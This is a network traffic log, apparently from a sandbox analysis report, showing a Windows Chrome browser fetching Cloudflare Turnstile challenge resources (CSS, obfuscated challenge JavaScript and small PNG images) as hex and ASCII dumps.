2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 Data Ascii: k .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop-li
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 6c 6c 3a 23 Data Ascii: ffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1303}to{fill:#
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 Data Ascii: flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{he
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 Data Ascii: .rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;justi
2024-11-21 13:44:36 UTC	1369	IN	Data Raw: 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c Data Ascii: text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke-l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49733	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:37 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e611d89ebaa43cf&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:38 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 126552 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e611d94984ede9a-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:38 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 48 50 55 62 6a 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.HPUbj2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 Data Ascii: %20out","turnstile_footer_terms":"Terms","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 6e 74 28 67 4b 28 36 33 31 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 37 32 34 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 39 32 38 29 29 2f 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 33 35 33 29 29 2f 39 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 37 34 31 29 29 2f 31 30 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 34 38 38 29 29 2f 31 31 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 33 34 30 36 38 34 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 38 39 32 29 5d 2c 65 4f 3d 5b 5d 2c 65 50 3d 30 3b 32 35 36 3e 65 50 3b 65 4f 5b 65 50 5d 3d Data Ascii: nt(gK(631))/6)+-parseInt(gK(724))/7*(-parseInt(gK(1928))/8)+-parseInt(gK(1353))/9+parseInt(gK(1741))/10+-parseInt(gK(1488))/11,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,340684),eM=this\|\|self,eN=eM[gL(892)],eO=[],eP=0;256>eP;eO[eP]=
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 75 73 52 56 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 77 49 4d 71 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 6f 51 70 77 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 6a 55 52 47 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 68 68 28 31 35 32 39 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 68 69 2c 69 2c 6a 29 7b 69 66 28 68 69 3d 68 68 2c 69 3d 7b 7d 2c 69 5b 68 69 28 36 32 30 29 5d 3d 68 69 28 37 33 33 29 2c 6a 3d 69 2c 64 5b 68 69 28 31 37 34 33 Data Ascii: function(h,i){return hi},'usRVK':function(h,i){return h<i},'wIMqu':function(h,i){return hi},'oQpwR':function(h,i){return h<i},'jURGL':function(h,i){return h(i)}},e=String[hh(1529)],f={'h':function(h,hi,i,j){if(hi=hh,i={},i[hi(620)]=hi(733),j=i,d[hi(1743
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 26 55 5b 68 6b 28 38 38 35 29 5d 5b 68 6b 28 31 34 32 33 29 5d 28 55 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 55 3d 47 5b 68 6b 28 31 38 36 38 29 5d 5b 68 6b 28 35 37 33 29 5d 5b 68 6b 28 31 30 38 31 29 5d 28 68 6b 28 31 35 35 32 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 65 26 26 78 28 42 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 43 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 69 66 28 73 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 65 6c 73 65 7b 66 6f 72 28 43 3d 30 3b 64 5b 68 6b 28 36 36 33 29 5d 28 43 2c 49 29 3b 4b 3c 3c 3d 31 2c 64 5b 68 6b 28 31 31 38 31 29 5d 28 4c 2c 64 5b 68 6b 28 31 31 38 38 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 68 6b 28 31 38 Data Ascii: &U[hk(885)][hk(1423)](U);continue;case'4':U=G[hk(1868)][hk(573)][hk(1081)](hk(1552));continue;case'5':e&&x(B);continue;case'6':C();continue;case'7':if(s)return;continue}break}}else{for(C=0;d[hk(663)](C,I);K<<=1,d[hk(1181)](L,d[hk(1188)](o,1))?(L=0,J[hk(18
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 3d 64 5b 68 6b 28 31 39 32 34 29 5d 28 4b 2c 31 29 7c 64 5b 68 6b 28 31 38 35 39 29 5d 28 50 2c 31 29 2c 64 5b 68 6b 28 31 31 34 39 29 5d 28 4c 2c 6f 2d 31 29 3f 28 4c 3d 30 2c 4a 5b 68 6b 28 31 38 33 36 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 47 2d 2d 2c 30 3d 3d 47 26 26 28 47 3d 4d 61 74 68 5b 68 6b 28 31 36 34 32 29 5d 28 32 2c 49 29 2c 49 2b 2b 29 2c 64 65 6c 65 74 65 20 45 5b 46 5d 7d 65 6c 73 65 20 66 6f 72 28 50 3d 44 5b 46 5d 2c 43 3d 30 3b 64 5b 68 6b 28 36 36 33 29 5d 28 43 2c 49 29 3b 4b 3d 64 5b 68 6b 28 31 37 38 30 29 5d 28 4b 2c 31 29 7c 31 2e 34 37 26 50 2c 64 5b 68 6b 28 31 31 38 31 29 5d 28 4c 2c 64 5b 68 6b 28 31 31 31 39 29 5d 28 6f 2c 31 29 29 3f 28 4c 3d 30 2c 4a 5b 68 6b 28 31 38 33 Data Ascii: =d[hk(1924)](K,1)\|d[hk(1859)](P,1),d[hk(1149)](L,o-1)?(L=0,J[hk(1836)](s(K)),K=0):L++,P>>=1,C++);}G--,0==G&&(G=Math[hk(1642)](2,I),I++),delete E[F]}else for(P=D[F],C=0;d[hk(663)](C,I);K=d[hk(1780)](K,1)\|1.47&P,d[hk(1181)](L,d[hk(1119)](o,1))?(L=0,J[hk(183
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 48 2c 48 3e 3e 3d 31 2c 64 5b 68 6f 28 31 31 34 39 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 6f 28 31 36 34 32 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4c 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4d 3d 64 5b 68 6f 28 31 30 37 36 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 68 6f 28 31 38 33 36 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 49 3e Data Ascii: H,H>>=1,d[ho(1149)](0,H)&&(H=j,G=o(I++)),J\|=F(0<L?1:0),F<<=1);M=e(J);break;case 1:for(J=0,K=Math[ho(1642)](2,16),F=1;K!=F;L=G&H,H>>=1,H==0&&(H=j,G=o(I++)),J\|=(0<L?1:0)F,F<<=1);M=d[ho(1076)](e,J);break;case 2:return''}for(E=s[3]=M,D[ho(1836)](M);;){if(I>
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 28 65 4d 5b 68 42 28 31 36 36 33 29 5d 5b 68 42 28 31 36 38 31 29 5d 28 29 2c 65 4d 5b 68 42 28 31 36 36 33 29 5d 5b 68 42 28 31 37 38 31 29 5d 28 29 2c 65 4d 5b 68 42 28 35 36 38 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 68 42 28 38 32 37 29 5d 5d 5b 68 42 28 39 34 38 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 68 42 28 37 37 33 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 42 28 31 38 36 38 29 5d 5b 68 42 28 31 38 37 34 29 5d 2c 27 65 76 65 6e 74 27 3a 65 5b 68 42 28 31 36 39 39 29 5d 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 42 28 31 38 36 38 29 5d 5b 68 42 28 31 38 37 39 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 42 28 31 38 36 38 29 5d 5b 68 42 28 31 34 37 39 29 5d 2c 27 63 6f 64 65 27 3a 68 42 28 38 32 33 29 2c 27 72 63 56 Data Ascii: (eM[hB(1663)][hB(1681)](),eM[hB(1663)][hB(1781)](),eM[hB(568)]=!![],eM[e[hB(827)]][hB(948)]({'source':e[hB(773)],'widgetId':eM[hB(1868)][hB(1874)],'event':e[hB(1699)],'cfChlOut':eM[hB(1868)][hB(1879)],'cfChlOutS':eM[hB(1868)][hB(1479)],'code':hB(823),'rcV
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 45 3d 4a 53 4f 4e 5b 68 43 28 31 32 37 33 29 5d 28 44 29 2c 46 3d 66 68 5b 68 43 28 31 34 34 36 29 5d 28 45 29 5b 68 43 28 31 39 38 39 29 5d 28 27 2b 27 2c 6b 5b 68 43 28 36 37 37 29 5d 29 2c 42 5b 68 43 28 38 34 30 29 5d 28 6b 5b 68 43 28 36 39 30 29 5d 28 27 76 5f 27 2c 65 4d 5b 68 43 28 31 38 36 38 29 5d 5b 68 43 28 31 32 31 35 29 5d 29 2b 27 3d 27 2b 46 29 7d 63 61 74 63 68 28 47 29 7b 7d 7d 2c 65 4d 5b 67 4c 28 32 30 35 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 44 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 68 44 3d 67 4c 2c 65 3d 7b 27 58 71 71 74 58 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 7d 2c 27 6c 6f 79 78 41 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f Data Ascii: E=JSON[hC(1273)](D),F=fh[hC(1446)](E)[hC(1989)]('+',k[hC(677)]),B[hC(840)](k[hC(690)]('v_',eM[hC(1868)][hC(1215)])+'='+F)}catch(G){}},eM[gL(2056)]=function(d,hD,e,f,g,h,i,j,k,l,m){(hD=gL,e={'XqqtX':function(n,o){return n instanceof o},'loyxA':function(n,o
2024-11-21 13:44:38 UTC	1369	IN	Data Raw: 39 29 5d 3d 65 2c 6e 5b 68 48 28 31 38 32 33 29 5d 3d 66 2c 6e 5b 68 48 28 39 37 38 29 5d 3d 67 2c 6e 5b 68 48 28 31 36 30 37 29 5d 3d 68 2c 6e 5b 68 48 28 31 34 39 37 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 68 48 28 31 32 31 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 4a 2c 76 2c 78 29 7b 68 4a 3d 68 48 2c 76 3d 7b 7d 2c 76 5b 68 4a 28 36 33 32 29 5d 3d 68 4a 28 31 33 32 36 29 2c 78 3d 76 2c 6b 5b 68 4a 28 31 30 32 39 29 5d 28 68 4a 28 31 37 32 38 29 2c 68 4a 28 31 37 32 38 29 29 3f 76 28 78 5b 68 4a 28 36 33 32 29 5d 2c 66 75 6e 63 74 69 6f 6e 28 43 2c 68 4b 29 7b 68 4b 3d 68 4a 2c 43 5b 68 4b 28 31 30 35 36 29 5d 3d 67 28 68 4b 28 37 37 34 29 29 7d 29 3a 65 4d 5b 68 4a 28 31 30 32 33 29 5d 28 6f 2c 75 6e 64 65 66 69 6e 65 64 2c 68 4a 28 31 33 35 38 29 29 7d Data Ascii: 9)]=e,n[hH(1823)]=f,n[hH(978)]=g,n[hH(1607)]=h,n[hH(1497)]=i,o=n,eM[hH(1210)](function(hJ,v,x){hJ=hH,v={},v[hJ(632)]=hJ(1326),x=v,k[hJ(1029)](hJ(1728),hJ(1728))?v(x[hJ(632)],function(C,hK){hK=hJ,C[hK(1056)]=g(hK(774))}):eM[hJ(1023)](o,undefined,hJ(1358))}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49734	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:37 UTC	742	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:38 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e611d967a1e42fc-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49735	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:39 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:39 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:39 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8e611da0ed1241f9-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49736	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:39 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e611d89ebaa43cf&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:40 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:40 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122408 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e611da30e8f8c1e-EWR alt-svc: h3=":443"; ma=86400
